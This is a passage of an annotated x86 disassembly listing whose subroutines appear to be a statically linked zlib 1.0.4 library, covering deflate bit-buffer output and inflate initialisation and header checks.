08068636   8b 56 10                mov      0x10(%esi),%edx
08068639   8a 86 b0 16 00 00       mov      0x16b0(%esi),%al  ;5808 'xb0 x16 x0 x0' ""
0806863f   8b 4e 08                mov      0x8(%esi),%ecx
08068642   88 04 0a                mov      %al,(%edx,%ecx,1)
08068645   8b 4e 10                mov      0x10(%esi),%ecx
08068648   41                      inc      %ecx
08068649   66 0f b6 86 b1 16 00 00 movzbw   0x16b1(%esi),%ax  ;5809 'xb1 x16 x0 x0' ""
08068651   8b 56 08                mov      0x8(%esi),%edx
08068654   89 4e 10                mov      %ecx,0x10(%esi)
08068657   88 04 11                mov      %al,(%ecx,%edx,1)
0806865a   8b 86 b4 16 00 00       mov      0x16b4(%esi),%eax  ;5812 'xb4 x16 x0 x0' ""
08068660   b9 10 00 00 00          mov      $0x10,%ecx  ;16 'x10 x0 x0 x0' ""
08068665   29 c1                   sub      %eax,%ecx
08068667   d3 fb                   sar      %cl,%ebx
08068669   8d 44 07 f0             lea      0xfffffff0(%edi,%eax,1),%eax
0806866d   ff 46 10                incl     0x10(%esi)
08068670   66 89 9e b0 16 00 00    mov      %bx,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
08068677   eb 19                   jmp      08068692 <Unknown0419+0x402>
08068679   8d 76 00                lea      0x0(%esi),%esi
0806867c   8b 55 0c                mov      0xc(%ebp),%edx
0806867f   0f b7 82 00 04 00 00    movzwl   0x400(%edx),%eax  ;1024 'x0 x4 x0 x0' ""
08068686   d3 e0                   shl      %cl,%eax
08068688   66 09 86 b0 16 00 00    or       %ax,0x16b0(%esi)  ;5808 'xb0 x16 x0 x0' ""
0806868f   8d 04 0f                lea      (%edi,%ecx,1),%eax
08068692   89 86 b4 16 00 00       mov      %eax,0x16b4(%esi)  ;5812 'xb4 x16 x0 x0' ""
08068698   8b 5d 0c                mov      0xc(%ebp),%ebx
0806869b   0f b7 83 02 04 00 00    movzwl   0x402(%ebx),%eax  ;1026 'x2 x4 x0 x0' ""
080686a2   89 86 ac 16 00 00       mov      %eax,0x16ac(%esi)  ;5804 'xac x16 x0 x0' ""
080686a8   83 c4 14                add      $0x14,%esp
080686ab   5b                      pop      %ebx
080686ac   5e                      pop      %esi
080686ad   5f                      pop      %edi
080686ae   5d                      pop      %ebp
```

```
080686af  c3                      ret


  ;
  ; >--------------------<  Subroutine # 420 >---------------------<
  ;
080686b0 <Unknown0420>:
080686b0  55                      push    %ebp
080686b1  89 e5                   mov     %esp,%ebp
080686b3  57                      push    %edi
080686b4  56                      push    %esi
080686b5  8b 7d 08                mov     0x8(%ebp),%edi
080686b8  53                      push    %ebx
080686b9  31 f6                   xor     %esi,%esi
080686bb  31 db                   xor     %ebx,%ebx
080686bd  8d 97 88 00 00 00       lea     0x88(%edi),%edx   ;136 'x88 x0 x0 x0' ""
080686c3  b9 06 00 00 00          mov     $0x6,%ecx  ;6 'x6 x0 x0 x0' ""
080686c8  0f b7 02                movzwl  (%edx),%eax
080686cb  01 c3                   add     %eax,%ebx
080686cd  83 c2 04                add     $0x4,%edx
080686d0  49                      dec     %ecx
080686d1  79 f5                   jns     080686c8 <Unknown0420+0x18>
080686d3  b9 07 00 00 00          mov     $0x7,%ecx  ;7 'x7 x0 x0 x0' ""
080686d8  8d 97 a4 00 00 00       lea     0xa4(%edi),%edx   ;164 'xa4 x0 x0 x0' ""
080686de  89 f6                   mov     %esi,%esi
080686e0  0f b7 02                movzwl  (%edx),%eax
080686e3  41                      inc     %ecx
080686e4  01 c6                   add     %eax,%esi
080686e6  83 c2 04                add     $0x4,%edx
080686e9  83 f9 7f                cmp     $0x7f,%ecx
080686ec  7e f2                   jle     080686e0 <Unknown0420+0x30>
080686ee  81 f9 ff 00 00 00       cmp     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
080686f4  7f 1b                   jg      08068711 <Unknown0420+0x61>
080686f6  8d 94 8f 88 00 00 00    lea     0x88(%edi,%ecx,4),%edx   ;136 'x88 x0 x0 x0' ""
080686fd  8d 76 00                lea     0x0(%esi),%esi
08068700  0f b7 02                movzwl  (%edx),%eax
08068703  41                      inc     %ecx
08068704  01 c3                   add     %eax,%ebx
08068706  83 c2 04                add     $0x4,%edx
08068709  81 f9 ff 00 00 00       cmp     $0xff,%ecx   ;255 'xff x0 x0 x0' ""
0806870f  7e ef                   jle     08068700 <Unknown0420+0x50>
08068711  c1 ee 02                shr     $0x2,%esi
08068714  39 f3                   cmp     %esi,%ebx
08068716  0f 96 47 18             setbe   0x18(%edi)
0806871a  5b                      pop     %ebx
0806871b  5e                      pop     %esi
0806871c  5f                      pop     %edi
0806871d  5d                      pop     %ebp
0806871e  c3                      ret
0806871f  90                      nop


  ;
  ; >--------------------<  Subroutine # 421 >---------------------<
  ;
08068720 <Unknown0421>:
08068720  55                      push    %ebp
08068721  89 e5                   mov     %esp,%ebp
08068723  8b 4d 0c                mov     0xc(%ebp),%ecx
08068726  53                      push    %ebx
08068727  31 d2                   xor     %edx,%edx
08068729  8b 5d 08                mov     0x8(%ebp),%ebx
0806872c  89 d8                   mov     %ebx,%eax
0806872e  83 e0 01                and     $0x1,%eax
08068731  09 c2                   or      %eax,%edx
08068733  49                      dec     %ecx
08068734  d1 eb                   shr     %ebx
08068736  d1 e2                   shl     %edx
08068738  85 c9                   test    %ecx,%ecx
0806873a  7f f0                   jg      0806872c <Unknown0421+0xc>
0806873c  d1 ea                   shr     %edx
0806873e  89 d0                   mov     %edx,%eax
08068740  8b 1c 24                mov     (%esp,1),%ebx
08068743  c9                      leave
08068744  c3                      ret
08068745  8d 76 00                lea     0x0(%esi),%esi


  ;
  ; >--------------------<  Subroutine # 422 >---------------------<
  ;
08068748 <Unknown0422>:
08068748  55                      push    %ebp
08068749  89 e5                   mov     %esp,%ebp
```

```
0806874b   53                        push   %ebx
0806874c   8b 5d 08                  mov    0x8(%ebp),%ebx
0806874f   8b 83 b4 16 00 00         mov    0x16b4(%ebx),%eax   ;5812 'xb4 x16 x0 x0' ""
08068755   83 f8 10                  cmp    $0x10,%eax
08068758   75 3e                     jne    08068798 <Unknown0422+0x50>
0806875a   8b 53 10                  mov    0x10(%ebx),%edx
0806875d   8a 83 b0 16 00 00         mov    0x16b0(%ebx),%al    ;5808 'xb0 x16 x0 x0' ""
08068763   8b 4b 08                  mov    0x8(%ebx),%ecx
08068766   88 04 0a                  mov    %al,(%edx,%ecx,1)
08068769   8b 4b 10                  mov    0x10(%ebx),%ecx
0806876c   41                        inc    %ecx
0806876d   66 0f b6 83 b1 16 00 00   movzbw 0x16b1(%ebx),%ax   ;5809 'xb1 x16 x0 x0' ""
08068775   8b 53 08                  mov    0x8(%ebx),%edx
08068778   89 4b 10                  mov    %ecx,0x10(%ebx)
0806877b   88 04 11                  mov    %al,(%ecx,%edx,1)
0806877e   ff 43 10                  incl   0x10(%ebx)
08068781   66 c7 83 b0 16 00 00 00 00   movw  $0x0,0x16b0(%ebx)   ;5808 'xb0 x16 x0 x0' ""
0806878a   c7 83 b4 16 00 00 00 00 00   movl  $0x0,0x16b4(%ebx)   ;0 'x0 x0 x0 x0' ""
08068794   eb 2f                     jmp    080687c5 <Unknown0422+0x7d>
08068796   89 f6                     mov    %esi,%esi
08068798   83 f8 07                  cmp    $0x7,%eax
0806879b   7e 28                     jle    080687c5 <Unknown0422+0x7d>
0806879d   8a 83 b0 16 00 00         mov    0x16b0(%ebx),%al    ;5808 'xb0 x16 x0 x0' ""
080687a3   8b 53 10                  mov    0x10(%ebx),%edx
080687a6   8b 4b 08                  mov    0x8(%ebx),%ecx
080687a9   88 04 0a                  mov    %al,(%edx,%ecx,1)
080687ac   66 0f b6 83 b1 16 00 00   movzbw 0x16b1(%ebx),%ax   ;5809 'xb1 x16 x0 x0' ""
080687b4   ff 43 10                  incl   0x10(%ebx)
080687b7   66 89 83 b0 16 00 00      mov    %ax,0x16b0(%ebx)   ;5808 'xb0 x16 x0 x0' ""
080687be   83 ab b4 16 00 00 08      subl   $0x8,0x16b4(%ebx)  ;5812 'xb4 x16 x0 x0' ""
080687c5   8b 1c 24                  mov    (%esp,1),%ebx
080687c8   c9                        leave
080687c9   c3                        ret
080687ca   89 f6                     mov    %esi,%esi


  ;
  ; >--------------------<  Subroutine # 423 >--------------------<
  ;
080687cc <Unknown0423>:
080687cc   55                        push   %ebp
080687cd   89 e5                     mov    %esp,%ebp
080687cf   53                        push   %ebx
080687d0   8b 5d 08                  mov    0x8(%ebp),%ebx
080687d3   8b 83 b4 16 00 00         mov    0x16b4(%ebx),%eax   ;5812 'xb4 x16 x0 x0' ""
080687d9   83 f8 08                  cmp    $0x8,%eax
080687dc   7e 26                     jle    08068804 <Unknown0423+0x38>
080687de   8b 53 10                  mov    0x10(%ebx),%edx
080687e1   8b 4b 08                  mov    0x8(%ebx),%ecx
080687e4   8a 83 b0 16 00 00         mov    0x16b0(%ebx),%al    ;5808 'xb0 x16 x0 x0' ""
080687ea   88 04 0a                  mov    %al,(%edx,%ecx,1)
080687ed   8b 4b 10                  mov    0x10(%ebx),%ecx
080687f0   41                        inc    %ecx
080687f1   8b 53 08                  mov    0x8(%ebx),%edx
080687f4   66 0f b6 83 b1 16 00 00   movzbw 0x16b1(%ebx),%ax   ;5809 'xb1 x16 x0 x0' ""
080687fc   89 4b 10                  mov    %ecx,0x10(%ebx)
080687ff   88 04 11                  mov    %al,(%ecx,%edx,1)
08068802   eb 13                     jmp    08068817 <Unknown0423+0x4b>
08068804   85 c0                     test   %eax,%eax
08068806   7e 12                     jle    0806881a <Unknown0423+0x4e>
08068808   8b 53 10                  mov    0x10(%ebx),%edx
0806880b   8b 4b 08                  mov    0x8(%ebx),%ecx
0806880e   8a 83 b0 16 00 00         mov    0x16b0(%ebx),%al    ;5808 'xb0 x16 x0 x0' ""
08068814   88 04 0a                  mov    %al,(%edx,%ecx,1)
08068817   ff 43 10                  incl   0x10(%ebx)
0806881a   66 c7 83 b0 16 00 00 00 00   movw  $0x0,0x16b0(%ebx)   ;5808 'xb0 x16 x0 x0' ""
08068823   c7 83 b4 16 00 00 00 00 00   movl  $0x0,0x16b4(%ebx)   ;0 'x0 x0 x0 x0' ""
0806882d   8b 1c 24                  mov    (%esp,1),%ebx
08068830   c9                        leave
08068831   c3                        ret
08068832   89 f6                     mov    %esi,%esi


  ;
  ; >--------------------<  Subroutine # 424 >--------------------<
  ;
08068834 <Unknown0424>:
08068834   55                        push   %ebp
08068835   89 e5                     mov    %esp,%ebp
08068837   57                        push   %edi
08068838   56                        push   %esi
08068839   53                        push   %ebx
0806883a   83 ec 18                  sub    $0x18,%esp
0806883d   8b 75 08                  mov    0x8(%ebp),%esi
```

```
08068840   56                        push   %esi
08068841   8b 7d 0c                  mov    0xc(%ebp),%edi
08068844   8b 5d 10                  mov    0x10(%ebp),%ebx
08068847   e8 80 ff ff ff            call   080687cc <Unknown0423>
0806884c   8b 45 14                  mov    0x14(%ebp),%eax
0806884f   83 c4 10                  add    $0x10,%esp
08068852   85 c0                     test   %eax,%eax
08068854   c7 86 ac 16 00 00 08 00 00 00  movl  $0x8,0x16ac(%esi)  ;8 'x8 x0 x0 x0' ""
0806885e   74 45                     je     080688a5 <Unknown0424+0x71>
08068860   8b 46 10                  mov    0x10(%esi),%eax
08068863   8b 56 08                  mov    0x8(%esi),%edx
08068866   88 1c 10                  mov    %bl,(%eax,%edx,1)
08068869   8b 4e 10                  mov    0x10(%esi),%ecx
0806886c   89 d8                     mov    %ebx,%eax
0806886e   8b 56 08                  mov    0x8(%esi),%edx
08068871   41                        inc    %ecx
08068872   66 c1 e8 08               shr    $0x8,%ax
08068876   89 4e 10                  mov    %ecx,0x10(%esi)
08068879   88 04 11                  mov    %al,(%ecx,%edx,1)
0806887c   8b 4e 10                  mov    0x10(%esi),%ecx
0806887f   88 d8                     mov    %bl,%al
08068881   41                        inc    %ecx
08068882   8b 56 08                  mov    0x8(%esi),%edx
08068885   f7 d0                     not    %eax
08068887   89 4e 10                  mov    %ecx,0x10(%esi)
0806888a   88 04 11                  mov    %al,(%ecx,%edx,1)
0806888d   89 d8                     mov    %ebx,%eax
0806888f   8b 4e 10                  mov    0x10(%esi),%ecx
08068892   f7 d0                     not    %eax
08068894   41                        inc    %ecx
08068895   8b 56 08                  mov    0x8(%esi),%edx
08068898   66 c1 e8 08               shr    $0x8,%ax
0806889c   89 4e 10                  mov    %ecx,0x10(%esi)
0806889f   88 04 11                  mov    %al,(%ecx,%edx,1)
080688a2   ff 46 10                  incl   0x10(%esi)
080688a5   4b                        dec    %ebx
080688a6   83 fb ff                  cmp    $0xffffffff,%ebx
080688a9   74 16                     je     080688c1 <Unknown0424+0x8d>
080688ab   90                        nop
080688ac   8a 07                     mov    (%edi),%al
080688ae   8b 56 10                  mov    0x10(%esi),%edx
080688b1   8b 4e 08                  mov    0x8(%esi),%ecx
080688b4   88 04 0a                  mov    %al,(%edx,%ecx,1)
080688b7   4b                        dec    %ebx
080688b8   47                        inc    %edi
080688b9   ff 46 10                  incl   0x10(%esi)
080688bc   83 fb ff                  cmp    $0xffffffff,%ebx
080688bf   75 eb                     jne    080688ac <Unknown0424+0x78>
080688c1   8d 65 f4                  lea    0xfffffff4(%ebp),%esp
080688c4   5b                        pop    %ebx
080688c5   5e                        pop    %esi
080688c6   5f                        pop    %edi
080688c7   5d                        pop    %ebp
080688c8   c3                        ret
080688c9   8d 76 00                  lea    0x0(%esi),%esi


  ;
  ; >---------------------< Subroutine # 425 >---------------------<
  ;
080688cc <Unknown0425>:
080688cc   55                        push   %ebp
080688cd   b8 55 68 07 08            mov    $0x8076855,%eax  ;[in .rodata] 774909489 'x31 x2e x30 x2e' "1.0.4"
080688d2   89 e5                     mov    %esp,%ebp
080688d4   5d                        pop    %ebp
080688d5   c3                        ret
080688d6   89 f6                     mov    %esi,%esi


  ;
  ; >---------------------< Subroutine # 426 >---------------------<
  ;
080688d8 <Unknown0426>:
080688d8   55                        push   %ebp
080688d9   89 e5                     mov    %esp,%ebp
080688db   83 ec 08                  sub    $0x8,%esp
080688de   8b 55 0c                  mov    0xc(%ebp),%edx
080688e1   8b 45 10                  mov    0x10(%ebp),%eax
080688e4   89 45 0c                  mov    %eax,0xc(%ebp)
080688e7   89 55 08                  mov    %edx,0x8(%ebp)
080688ea   c9                        leave
080688eb   e9 6c 1a fe ff            jmp    0804a35c <calloc>  ;-124308 'x6c xla xfe xff' "l"
080688f0   55                        push   %ebp
080688f1   89 e5                     mov    %esp,%ebp
```

```
080688f3  83 ec 14                sub     $0x14,%esp
080688f6  ff 75 0c                pushl   0xc(%ebp)
080688f9  e8 8e 1a fe ff          call    0804a38c <free>
080688fe  83 c4 10                add     $0x10,%esp
08068901  c9                      leave
08068902  c3                      ret
08068903  90                      nop


  ;
  ; >--------------------<  Subroutine # 427 >--------------------<
  ;
08068904 <Unknown0427>:
08068904  55                      push    %ebp
08068905  89 e5                   mov     %esp,%ebp
08068907  83 ec 08                sub     $0x8,%esp
0806890a  8b 4d 08                mov     0x8(%ebp),%ecx
0806890d  85 c9                   test    %ecx,%ecx
0806890f  74 07                   je      08068918 <Unknown0427+0x14>
08068911  8b 51 1c                mov     0x1c(%ecx),%edx
08068914  85 d2                   test    %edx,%edx
08068916  75 08                   jne     08068920 <Unknown0427+0x1c>
08068918  b8 fe ff ff ff          mov     $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
0806891d  eb 3b                   jmp     0806895a <Unknown0427+0x56>
0806891f  90                      nop
08068920  31 c0                   xor     %eax,%eax
08068922  83 7a 0c 00             cmpl    $0x0,0xc(%edx)
08068926  0f 95 c0                setne   %al
08068929  48                      dec     %eax
0806892a  83 e0 f9                and     $0xfffffff9,%eax
0806892d  83 c0 07                add     $0x7,%eax
08068930  89 02                   mov     %eax,(%edx)
08068932  c7 41 14 00 00 00 00    movl    $0x0,0x14(%ecx)   ;0 'x0 x0 x0 x0' ""
08068939  c7 41 08 00 00 00 00    movl    $0x0,0x8(%ecx)    ;0 'x0 x0 x0 x0' ""
08068940  c7 41 18 00 00 00 00    movl    $0x0,0x18(%ecx)   ;0 'x0 x0 x0 x0' ""
08068947  50                      push    %eax
08068948  8d 45 fc                lea     0xfffffffc(%ebp),%eax
0806894b  50                      push    %eax
0806894c  51                      push    %ecx
0806894d  8b 41 1c                mov     0x1c(%ecx),%eax
08068950  ff 70 14                pushl   0x14(%eax)
08068953  e8 98 06 00 00          call    08068ff0 <Unknown0435>
08068958  31 c0                   xor     %eax,%eax
0806895a  c9                      leave
0806895b  c3                      ret


  ;
  ; >--------------------<  Subroutine # 428 >--------------------<
  ;
0806895c <Unknown0428>:
0806895c  55                      push    %ebp
0806895d  89 e5                   mov     %esp,%ebp
0806895f  53                      push    %ebx
08068960  53                      push    %ebx
08068961  8b 5d 08                mov     0x8(%ebp),%ebx
08068964  85 db                   test    %ebx,%ebx
08068966  74 0e                   je      08068976 <Unknown0428+0x1a>
08068968  8b 53 1c                mov     0x1c(%ebx),%edx
0806896b  85 d2                   test    %edx,%edx
0806896d  74 07                   je      08068976 <Unknown0428+0x1a>
0806896f  8b 43 24                mov     0x24(%ebx),%eax
08068972  85 c0                   test    %eax,%eax
08068974  75 0a                   jne     08068980 <Unknown0428+0x24>
08068976  b8 fe ff ff ff          mov     $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
0806897b  eb 32                   jmp     080689af <Unknown0428+0x53>
0806897d  8d 76 00                lea     0x0(%esi),%esi
08068980  8b 4a 14                mov     0x14(%edx),%ecx
08068983  85 c9                   test    %ecx,%ecx
08068985  74 14                   je      0806899b <Unknown0428+0x3f>
08068987  50                      push    %eax
08068988  8d 45 f8                lea     0xfffffff8(%ebp),%eax
0806898b  50                      push    %eax
0806898c  53                      push    %ebx
0806898d  ff 72 14                pushl   0x14(%edx)
08068990  e8 4f 14 00 00          call    08069de4 <Unknown0438>
08068995  83 c4 10                add     $0x10,%esp
08068998  8b 43 24                mov     0x24(%ebx),%eax
0806899b  83 ec 08                sub     $0x8,%esp
0806899e  ff 73 1c                pushl   0x1c(%ebx)
080689a1  ff 73 28                pushl   0x28(%ebx)
080689a4  ff d0                   call    *%eax
080689a6  c7 43 1c 00 00 00 00    movl    $0x0,0x1c(%ebx)   ;0 'x0 x0 x0 x0' ""
080689ad  31 c0                   xor     %eax,%eax
```

```
080689af  8b 5d fc              mov     0xfffffffc(%ebp),%ebx
080689b2  c9                    leave
080689b3  c3                    ret


    ;
    ; >--------------------<  Subroutine # 429 >--------------------<
    ;
080689b4 <Unknown0429>:
080689b4  55                    push    %ebp
080689b5  89 e5                 mov     %esp,%ebp
080689b7  8b 45 10              mov     0x10(%ebp),%eax
080689ba  56                    push    %esi
080689bb  85 c0                 test    %eax,%eax
080689bd  53                    push    %ebx
080689be  8b 75 0c              mov     0xc(%ebp),%esi
080689c1  8b 5d 08              mov     0x8(%ebp),%ebx
080689c4  74 0b                 je      080689d1 <Unknown0429+0x1d>
080689c6  80 38 31              cmpb    $0x31,(%eax)
080689c9  75 06                 jne     080689d1 <Unknown0429+0x1d>
080689cb  83 7d 14 38           cmpl    $0x38,0x14(%ebp)
080689cf  74 0b                 je      080689dc <Unknown0429+0x28>
080689d1  b8 fa ff ff ff        mov     $0xfffffffa,%eax  ;-6 'xfa xff xff xff' ""
080689d6  e9 e0 00 00 00        jmp     08068abb <Unknown0429+0x107>  ;224 'xe0 x0 x0 x0' ""
080689db  90                    nop
080689dc  85 db                 test    %ebx,%ebx
080689de  b8 fe ff ff ff        mov     $0xfffffffe,%eax  ;-2 'xfe xff xff xff' ""
080689e3  0f 84 d2 00 00 00     je      08068abb <Unknown0429+0x107>  ;210 'xd2 x0 x0 x0' ""
080689e9  8b 43 20              mov     0x20(%ebx),%eax
080689ec  85 c0                 test    %eax,%eax
080689ee  c7 43 18 00 00 00 00  movl    $0x0,0x18(%ebx)  ;0 'x0 x0 x0 x0' ""
080689f5  75 0e                 jne     08068a05 <Unknown0429+0x51>
080689f7  c7 43 20 d8 88 06 08  movl    $0x80688d8,0x20(%ebx)  ;0 'x0 x0 x0 x0' ""
080689fe  c7 43 28 00 00 00 00  movl    $0x0,0x28(%ebx)  ;0 'x0 x0 x0 x0' ""
08068a05  8b 4b 24              mov     0x24(%ebx),%ecx
08068a08  85 c9                 test    %ecx,%ecx
08068a0a  75 07                 jne     08068a13 <Unknown0429+0x5f>
08068a0c  c7 43 24 f0 88 06 08  movl    $0x80688f0,0x24(%ebx)  ;0 'x0 x0 x0 x0' ""
08068a13  52                    push    %edx
08068a14  6a 18                 push    $0x18
08068a16  6a 01                 push    $0x1
08068a18  ff 73 28              pushl   0x28(%ebx)
08068a1b  ff 53 20              call    *0x20(%ebx)
08068a1e  83 c4 10              add     $0x10,%esp
08068a21  85 c0                 test    %eax,%eax
08068a23  89 43 1c              mov     %eax,0x1c(%ebx)
08068a26  75 0c                 jne     08068a34 <Unknown0429+0x80>
08068a28  b8 fc ff ff ff        mov     $0xfffffffc,%eax  ;-4 'xfc xff xff xff' ""
08068a2d  e9 89 00 00 00        jmp     08068abb <Unknown0429+0x107>  ;137 'x89 x0 x0 x0' ""
08068a32  89 f6                 mov     %esi,%esi
08068a34  85 f6                 test    %esi,%esi
08068a36  c7 40 14 00 00 00 00  movl    $0x0,0x14(%eax)  ;0 'x0 x0 x0 x0' ""
08068a3d  c7 40 0c 00 00 00 00  movl    $0x0,0xc(%eax)  ;0 'x0 x0 x0 x0' ""
08068a44  79 09                 jns     08068a4f <Unknown0429+0x9b>
08068a46  f7 de                 neg     %esi
08068a48  c7 40 0c 01 00 00 00  movl    $0x1,0xc(%eax)  ;1 'x1 x0 x0 x0' ""
08068a4f  8d 46 f8              lea     0xfffffff8(%esi),%eax
08068a52  83 f8 07              cmp     $0x7,%eax
08068a55  76 11                 jbe     08068a68 <Unknown0429+0xb4>
08068a57  83 ec 0c              sub     $0xc,%esp
08068a5a  53                    push    %ebx
08068a5b  e8 fc fe ff ff        call    0806895c <Unknown0428>
08068a60  b8 fe ff ff ff        mov     $0xfffffffe,%eax  ;-2 'xfe xff xff xff' ""
08068a65  eb 54                 jmp     08068abb <Unknown0429+0x107>
08068a67  90                    nop
08068a68  8b 43 1c              mov     0x1c(%ebx),%eax
08068a6b  89 70 10              mov     %esi,0x10(%eax)
08068a6e  50                    push    %eax
08068a6f  89 f1                 mov     %esi,%ecx
08068a71  b8 01 00 00 00        mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
08068a76  d3 e0                 shl     %cl,%eax
08068a78  50                    push    %eax
08068a79  8b 53 1c              mov     0x1c(%ebx),%edx
08068a7c  8b 72 0c              mov     0xc(%edx),%esi
08068a7f  31 c0                 xor     %eax,%eax
08068a81  85 f6                 test    %esi,%esi
08068a83  0f 95 c0              setne   %al
08068a86  48                    dec     %eax
08068a87  25 44 b4 06 08        and     $0x806b444,%eax  ;1 'x1 x0 x0 x0' ""
08068a8c  50                    push    %eax
08068a8d  53                    push    %ebx
08068a8e  e8 f9 05 00 00        call    0806908c <Unknown0436>
08068a93  83 c4 10              add     $0x10,%esp
08068a96  8b 53 1c              mov     0x1c(%ebx),%edx
```

```
08068a99  85 c0                   test   %eax,%eax
08068a9b  89 42 14                mov    %eax,0x14(%edx)
08068a9e  75 10                   jne    08068ab0 <Unknown0429+0xfc>
08068aa0  83 ec 0c                sub    $0xc,%esp
08068aa3  53                      push   %ebx
08068aa4  e8 b3 fe ff ff          call   0806895c <Unknown0428>
08068aa9  b8 fc ff ff ff          mov    $0xfffffffc,%eax  ;-4 'xfc xff xff xff' ""
08068aae  eb 0b                   jmp    08068abb <Unknown0429+0x107>
08068ab0  83 ec 0c                sub    $0xc,%esp
08068ab3  53                      push   %ebx
08068ab4  e8 4b fe ff ff          call   08068904 <Unknown0427>
08068ab9  31 c0                   xor    %eax,%eax
08068abb  8d 65 f8                lea    0xfffffff8(%ebp),%esp
08068abe  5b                      pop    %ebx
08068abf  5e                      pop    %esi
08068ac0  5d                      pop    %ebp
08068ac1  c3                      ret
08068ac2  89 f6                   mov    %esi,%esi


   ;
   ; >--------------------<  Subroutine # 430 >--------------------<
   ;
08068ac4 <Unknown0430>:
08068ac4  55                      push   %ebp
08068ac5  89 e5                   mov    %esp,%ebp
08068ac7  83 ec 08                sub    $0x8,%esp
08068aca  ff 75 10                pushl  0x10(%ebp)
08068acd  ff 75 0c                pushl  0xc(%ebp)
08068ad0  6a 0f                   push   $0xf
08068ad2  ff 75 08                pushl  0x8(%ebp)
08068ad5  e8 da fe ff ff          call   080689b4 <Unknown0429>
08068ada  c9                      leave
08068adb  c3                      ret


   ;
   ; >--------------------<  Subroutine # 431 >--------------------<
   ;
08068adc <Unknown0431>:
08068adc  55                      push   %ebp
08068add  89 e5                   mov    %esp,%ebp
08068adf  57                      push   %edi
08068ae0  56                      push   %esi
08068ae1  53                      push   %ebx
08068ae2  83 ec 0c                sub    $0xc,%esp
08068ae5  8b 5d 08                mov    0x8(%ebp),%ebx
08068ae8  85 db                   test   %ebx,%ebx
08068aea  0f 84 84 03 00 00       je     08068e74 <Unknown0432+0x255>  ;900 'x84 x3 x0 x0' ""
08068af0  8b 53 1c                mov    0x1c(%ebx),%edx
08068af3  85 d2                   test   %edx,%edx
08068af5  0f 84 79 03 00 00       je     08068e74 <Unknown0432+0x255>  ;889 'x79 x3 x0 x0' "y"
08068afb  8b 03                   mov    (%ebx),%eax
08068afd  85 c0                   test   %eax,%eax
08068aff  0f 84 6f 03 00 00       je     08068e74 <Unknown0432+0x255>  ;879 'x6f x3 x0 x0' "o"
08068b05  8b 7d 0c                mov    0xc(%ebp),%edi
08068b08  85 ff                   test   %edi,%edi
08068b0a  c7 45 f0 fb ff ff ff    movl   $0xfffffffb,0xfffffff0(%ebp)  ;-5 'xfb xff xff xff' ""
08068b11  79 0d                   jns    08068b20 <Unknown0431+0x44>
08068b13  e9 5c 03 00 00          jmp    08068e74 <Unknown0432+0x255>  ;860 'x5c x3 x0 x0' "\"
08068b18  8b 45 f0                mov    0xfffffff0(%ebp),%eax
08068b1b  e9 59 03 00 00          jmp    08068e79 <Unknown0432+0x25a>  ;857 'x59 x3 x0 x0' "Y"
08068b20  8b 02                   mov    (%edx),%eax
08068b22  83 f8 0d                cmp    $0xd,%eax
08068b25  0f 87 49 03 00 00       ja     08068e74 <Unknown0432+0x255>  ;841 'x49 x3 x0 x0' "I"
08068b2b  ff 24 85 d0 68 07 08    jmp    *0x80768d0(,%eax,4)  ;[in .rodata] 134646580 'x34 x8b x6 x8' "4"
08068b32  89 f6                   mov    %esi,%esi
08068b34  8b 43 04                mov    0x4(%ebx),%eax
08068b37  85 c0                   test   %eax,%eax
08068b39  74 dd                   je     08068b18 <Unknown0431+0x3c>
08068b3b  c7 45 f0 00 00 00 00    movl   $0x0,0xfffffff0(%ebp)  ;0 'x0 x0 x0 x0' ""
08068b42  48                      dec    %eax
08068b43  89 43 04                mov    %eax,0x4(%ebx)
08068b46  ff 43 08                incl   0x8(%ebx)
08068b49  8b 03                   mov    (%ebx),%eax
08068b4b  0f b6 00                movzbl (%eax),%eax
08068b4e  89 42 04                mov    %eax,0x4(%edx)
08068b51  83 e0 0f                and    $0xf,%eax
08068b54  ff 03                   incl   (%ebx)
08068b56  83 f8 08                cmp    $0x8,%eax
08068b59  74 19                   je     08068b74 <Unknown0431+0x98>
08068b5b  8b 43 1c                mov    0x1c(%ebx),%eax
08068b5e  c7 43 18 60 68 07 08    movl   $0x8076860,0x18(%ebx)  ;[in .rodata] 1852534389 'x75 x6e x6b x6e'
```

```
                                                                        "unknown
                                                                        compression
                                                                        method"
08068b65   c7 40 04 05 00 00 00   movl    $0x5,0x4(%eax)   ;5 'x5 x0 x0 x0' ""
08068b6c   e9 b1 01 00 00         jmp     08068d22 <Unknown0432+0x103>  ;433 'xb1 x1 x0 x0' ""
08068b71   8d 76 00               lea     0x0(%esi),%esi
08068b74   8b 53 1c               mov     0x1c(%ebx),%edx
08068b77   8b 42 04               mov     0x4(%edx),%eax
08068b7a   c1 e8 04               shr     $0x4,%eax
08068b7d   83 c0 08               add     $0x8,%eax
08068b80   3b 42 10               cmp     0x10(%edx),%eax
08068b83   76 0f                  jbe     08068b94 <Unknown0431+0xb8>
08068b85   c7 43 18 7b 68 07 08   movl    $0x807687b,0x18(%ebx)  ;[in .rodata] 1635151465 'x69 x6e x76 x61'
                                                                  "invalid window size"
08068b8c   e9 b3 02 00 00         jmp     08068e44 <Unknown0432+0x225>  ;691 'xb3 x2 x0 x0' ""
08068b91   8d 76 00               lea     0x0(%esi),%esi
08068b94   c7 02 01 00 00 00      movl    $0x1,(%edx)   ;1 'x1 x0 x0 x0' ""
08068b9a   8b 43 04               mov     0x4(%ebx),%eax
08068b9d   85 c0                  test    %eax,%eax
08068b9f   0f 84 73 ff ff ff      je      08068b18 <Unknown0431+0x3c>   ;-141 'x73 xff xff xff' "s"
08068ba5   c7 45 f0 00 00 00 00   movl    $0x0,0xfffffff0(%ebp)  ;0 'x0 x0 x0 x0' ""
08068bac   48                     dec     %eax
08068bad   89 43 04               mov     %eax,0x4(%ebx)
08068bb0   ff 43 08               incl    0x8(%ebx)
08068bb3   8b 03                  mov     (%ebx),%eax
08068bb5   0f b6 10               movzbl  (%eax),%edx
08068bb8   89 55 e8               mov     %edx,0xffffffe8(%ebp)
08068bbb   40                     inc     %eax
08068bbc   89 03                  mov     %eax,(%ebx)
08068bbe   8b 73 1c               mov     0x1c(%ebx),%esi
08068bc1   8b 46 04               mov     0x4(%esi),%eax
08068bc4   c1 e0 08               shl     $0x8,%eax
08068bc7   8d 0c 02               lea     (%edx,%eax,1),%ecx
08068bca   ba 1f 00 00 00         mov     $0x1f,%edx   ;31 'x1f x0 x0 x0' ""
